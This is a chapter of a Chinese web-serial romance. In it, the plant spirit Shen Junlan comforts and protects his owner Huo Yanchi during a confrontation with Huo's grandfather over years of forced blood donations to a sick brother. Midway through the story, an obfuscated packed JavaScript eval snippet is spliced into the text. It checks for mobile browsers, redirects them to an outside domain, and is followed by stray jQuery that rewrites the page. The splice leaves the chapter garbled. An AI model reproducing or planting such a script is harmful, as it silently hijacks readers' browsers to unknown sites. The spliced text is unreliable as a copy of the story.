“你为什么不好,咱们都是植物,在一个屋里还能说说话,挺好。”
沈君澜肺都要气炸了,他狠狠瞪了一眼霍宴池,还说不会嫌弃他呢,扭头就要养别的植物。
“而且,我很好养的,这个屋子阳光也好,我以后能涨一米八。”
沈君澜默默踮了踮脚,对着赵齐怀里的文竹比了一下,“我现在就有一米八多多多,我更好养。”
“主人,你说话啊主人。”
霍宴池听不到文竹的声音,但从沈君澜的话语里也猜到,这是在吵架呢。
他的小叶子似乎是被质疑没有一米八了,他都看见小叶子偷偷踮脚了。
小叶子比他矮半个头,一米八肯定是有的。
霍宴池察觉到小叶子的情绪变化,立马表明自己的立场。
“赵齐,你难道不知道,我已经养了一株全世界独一无二的君子兰,我已经有他了,以后都不会再养别的植物。”
“这些我不喜欢,我的办公室,除了我家小叶子,任何动植物都不能出现。”
赵齐嘴巴微张,艰难地点了点头,抱着文竹就往外走。
“文竹送走你再回来。”
“好的霍总,我马上回来。”
沈君澜冷哼一声,三言两语就想给他哄好啊,门都没有。
霍宴池腰身后仰,肩膀紧紧靠在椅背上,无意识贴近小叶子搭在椅子上的手背。
“肩膀怎么有点痒,是不是谁碰我痒痒肉了,不应该吧,我的痒痒肉还在后颈下面一点的。”
“要是哪个调皮的挠一挠,说不准我会笑好久。”
沈君澜圆溜溜的猫眼眨巴了几下,小爪子还是没克制住抵在霍宴池的后颈。
微凉的指尖下滑,揉摁着凸起的那块骨头。
沈君澜辛苦摁了好久,霍宴池没有一点要哈哈大笑的意思,沈君澜挫败地垂下眸子,顺着霍宴池微微敞开的领口,瞥见他凹陷的锁骨。
霍宴池脖颈上的线条绷的很紧,从锁骨凹陷的弧度来看,他似乎是在忍着。
哼,他就知道,霍宴池是不好意思笑。
沈君澜满意了,不能只是霍宴池挠他的痒痒肉,他现在知道了,以后就挠霍宴池的。
“主人,你只能跟我天下第一好,要不然我就天天挠你痒痒肉。”
霍宴池扭了扭脖子,故意把小叶子的手指挤在他的后颈和椅背之间。
沈君澜费了一点力气才抽出来,他气鼓鼓地去捏霍宴池的耳垂,耳垂扭曲变形,很快透出血色,沈君澜才满意地拍了拍手掌。
“主人,你可真不乖,一直欺负我。”
霍宴池真想大呼冤枉,又想到辛辣的藿香正气水,小叶子被夹住的指尖,反驳的话都成了唇角勾起的弧度。
就是要“欺负”小叶子才好,不乖的主人欺负乖乖的小叶子,很合理。
“话说,主人,我捏你能感觉到吗?”
见霍宴池神色如常,沈君澜才放下心来。
“霍总,您是有什么吩咐吗?”
霍宴池把玩着手机,狭长的眸子微扬,他的指尖几次点过屏幕,故意让沈君澜看见他点相册的动作。
“你还没见过我养的君子兰吧,他叫小叶子,非常非常非常漂亮。”
“没有。”
霍宴池不是喜欢分享这些私事的人,他只知道霍宴池养花,也去过别墅几次,但是没在阳台上看见过。
不过,赵齐真的很好奇,到底是怎么样漂亮的君子兰,能让霍宴池一口气说这么多话。
沈君澜俯身贴近,他很诧异霍宴池什么时候拍的他,根本没印象。
“哦,那你没有眼福了。”
“没事了,你去吧。”
赵齐面上的表情罕见地空了一瞬,几秒后才愣愣地点头。
只是一两天没和霍宴池见面,怎么感觉他像是变了一个人,这种有些幼稚的举动,他就是想破脑袋,都不敢确定是霍宴池做出来的。
“主人,真的有我的照片么,我怎么不知道。”
沈君澜想去拿霍宴池的手机,却不想,手机没拿到,掌心直接覆上了霍宴池的手背。
他白皙的手掌比霍宴池的要小上一圈,霍宴池皮肤偏深色,虎口的位置还有一道不太明显的疤,沈君澜轻轻摩挲了一下。
握着的手背越来越烫,察觉到霍宴池无意识抽动手指的动作,沈君澜飞快撤让开,胳膊过电似的酥麻,沈君澜捻了一下手指,有些无措地睨了眼霍宴池。
霍宴池身上怎么老是这种疤,他后背上也有,沈君澜说不清,只是感觉很像藤条抽出来的。
沈君澜默了默,盯着霍宴池的侧脸看了几秒,轻声道:“手机手机,我想看看主人的相册。”
手机没有任何反应。
“不给看就不给看嘛,我自己而已。”话是这么说,沈君澜还是无意识揪掉了霍宴池一根头发。
他飞快把手指背到身后,无辜地眨了眨眼,用最快的速度毁尸灭迹。
“主人,什么都没有哦。”
沈君澜的掌心摊开,变戏法似的咻地冒出一个小嫩芽来。
小嫩芽摇曳着身姿,就差给霍宴池蹦个迪了。
“主人,我骗你的,有我的嫩芽,可爱嘛,是不是跟第一次见面时候一样。”
其实,不太一样,现在的小嫩芽更加生机勃勃。
霍宴池默默把私密相册打开,满屏的绿色,他一口气翻到最下面,点开拍摄小叶子的第一张照片。
“欸,主人,你真的有啊。”
沈君澜看得极其认真,第一次从这个角度看自己,蛮新奇的。
“我以前好像不漂亮,就这么几片叶子你还养啊。”
被雷劈的时候有多疼沈君澜记不清了,被霍宴池娇生惯养了八年,以前吃的那些苦都忘了。
“不管小叶子是什么样子,在我眼里都很漂亮。”
小叶子朝气蓬破的生命力都要溢出屏幕了,霍宴池翻看着照片,现在回忆起来,小叶子最先吸引他的,正是这样的毅力。
想活,想好好活。
沈君澜手臂向后撑在霍宴池的办公桌上,他试图从霍宴池的眼神里看见一丝说谎的意味。
没有,一点都没有。
沈君澜抿着唇浅浅笑了一下,原来,他这么好啊。
“主人,你多夸夸我,我心情好了就能更漂亮。”
霍宴池夸人的词语匮乏,他手指蠢蠢欲动,要不是在小叶子眼皮子底下,他立马搜索一堆,把小叶子夸上天去。
“咚咚咚。”
“进。”
“霍老又来了,马上到顶楼办公室。”
赵齐语速飞快,他话音刚落,霍宴池就听到拐杖落在地板上,沉闷的咚咚声。
霍宴池周身的气压瞬间低下来,他收好手机,身子挡在小叶子身前。
并不是很想让小叶子参与这些事,尤其是一些压抑到极致的私事。
赵齐先一步关上办公室的门,堵在门口,皮笑肉不笑,“霍老,霍总出差没有回来。”
霍衢颇有些不怒自威的架势,他的拐杖不轻不重地敲击着地板,他既然敢来,那就是知道霍宴池一定在。
“赵齐,让他进来。”
办公室的门一开,霍衢先看见的就是霍宴池那双淡漠的眼眸。
和八年前一样,甚至是更冷了。
无声的对峙,霍宴池游刃有余,反倒是霍衢先败下阵来,率先移开了眼睛。
几年不见,霍宴池已经不是当初那个任人宰割的乖孙子了。
沉淀下来的不仅仅是气质,连情绪他都看不透。
霍衢想,霍宴池连生气都没有,真是越来越难对付。
“小池,见到爷爷就没有什么想说的么。”
“霍老先生。”
赵齐见气氛剑拔弩张,动作麻利地关门出去,就守在门口,万一有谁过来,他好第一时间拦下来。
“小池,什么时候咱们之间要用这样的称呼。”
“什么时候,你们应该最清楚不过。”
一丘之貉做的那些陈年往事,居然连认都不认了。
呵,霍宴池冷笑一声,那个人的命还真是值钱,霍家人能三番两次找过来。
“你知道我今天来干什么。”
霍宴池见霍衢移到沙发上坐下,还是在家里施压的那一套,板板正正地拄着拐杖,不再言语,直勾勾盯着他。
年少时,他最怕这样的目光,此刻只觉得想笑。
色厉内荏罢了,纸老虎强撑,一戳就穿。
霍宴池饶有兴致地看着霍衢表演,面上的表情愈发玩味,在安静到压抑的氛围里,轻轻靠在办公桌前,居高临下地和霍衢对视。
“小阳很不好,你当哥哥的这么多年都不露面,是不是不合适。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698194|173457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“他几次下了病危通知书,挺过来第一件事就是问哥哥哪去了。”
“霍宴池,你要是当自己是他哥哥,就去医院救弟弟,当年是你自愿的,没人逼你,是你亲口说的,要一辈子养着弟弟,要一辈子对他好。”
没人逼么,霍宴池手指扣在桌上,霍衢怎么都忘了,是他亲自逼的,拿霍家一家四口的命。
不救霍曜阳,那就都死。
一家四口,他们一家三口再加上霍衢,从来都没有他的位置。
曜阳,明亮光辉的太阳。
他是带着全家人都期许出生的,自然跟他这个意外怀孕不得不生下来,还害的霍氏丢了一个几亿的项目不一样。
他早就该死了,只是因为有用,只有他能救得了霍曜阳才好好活着。
“对,我是说过,那又怎么样,我已经不是霍家人了,八年前就不是了。是你们不要我,是霍曜阳不认我,我要对弟弟好,他不是弟弟,我又凭什么一个月取四次血救他。”
“我的命不是命吗?”
霍宴池语调没有一丝起伏,可他微微发颤的指尖还是暴露了他的难过。
这些对话沈君澜听到云里雾里,这八年霍家人从来没有露过面,逢年过节的连个电话都没有,弟弟这个存在沈君澜更是不清楚,如果真的想他这个哥哥,总是有办法的。
至于取血,一个月四次,这个数字沈君澜听的心惊肉跳,一个人身上才有多少血,一个月就要取四次。
他从霍宴池背后冒出脑袋来,小心翼翼地抓上霍宴池的衣摆,满眼都是担忧。
“主人,你不要难过,你还有我呀,我会一直陪着你的。”
“他们坏,不要理他们了。”
霍宴池几乎要崩断的理智被沈君澜硬生生拉回来,他喉结微动,双眸轻颤间把唯一一丝难过的情绪咽下去。
“霍老先生没事就走吧,我这庙下,放不下你这尊大佛。用不着三番五次来找我,几次病危通知书下了都没事,你们在担心什么,担心存量的血不够,还是担心我怎么还不死。”
“八年前是你这样说的吧,希望用我的命换他的命,不好意思,你怕是不能如愿了。”
“当然,你如果是想看我什么时候死……呵,以后不要来了,我一定长命百岁,至少比他长命。”
“霍宴池。”
霍衢压低声音怒吼,他的拐杖敲击着地板,颤颤巍巍站起身来,似乎是气炸了,环顾四周,举起拐杖就朝着霍宴池抡下来。
时空似乎凝固定格,霍衢的拐杖怎么都抡不下去,像是被无形的力道阻挡住了。
霍宴池瞳孔微缩,小叶子挡在他的身前,纤细的手腕稳稳当当握着拐杖,怒目圆睁,从霍宴池的角度看过去,他应当是气狠了,嘴巴一鼓一鼓的。
“谁都不能欺负他,你凭什么打人。”
霍宴池不着痕迹地向前半步,半揽着沈君澜,抬手覆在沈君澜的手背之上,不偏不倚,包裹的严严实实。
沈君澜扭过头来,满目都是讶异。
他确信霍宴池没感觉到是他的手,不由得嘟囔:“主人,你握到我的手了,你的手好凉啊,别生气,我保护你。”
霍宴池心尖一颤,他的小叶子保护他。
瘦瘦小小的一只,坚定不移挡在他的身前,霍宴池指尖不自觉地摩挲了一下。
小叶子的手细腻光滑,像是上好的羊脂玉,没辜负他一天给小叶子擦四五次叶片。
“霍宴池,你松手。”
霍宴池回过神来,全然忘了此时此刻是什么场景。
啧,他轻嗤一声,握着沈君澜的手,借着巧劲把霍衢推出去。
“八年前还没有打够啊,霍老先生,如果下次再登门,记得拿上他的病危通知书,说不定我心情还能好一些。”
霍衢没想到霍宴池能这么冷血,真的会对曜阳见死不救,畜牲,真是畜牲。
“赵齐,送客。”
赵齐麻溜地把人请出去,如果霍衢不讲道理,他们公司的保镖还略通一些法律。
关门落锁的声音响起,沈君澜立马抱上霍宴池的胳膊,脑袋一下一下蹭着霍宴池的肩膀。
“主人,咱俩贴贴心情就好了。”
“你现在想吃糖吗?”
沈君澜凝了一些灵力,变出一颗叶子形状的糖果来,朝着霍宴池摊开手掌。
“主人,你吃糖。”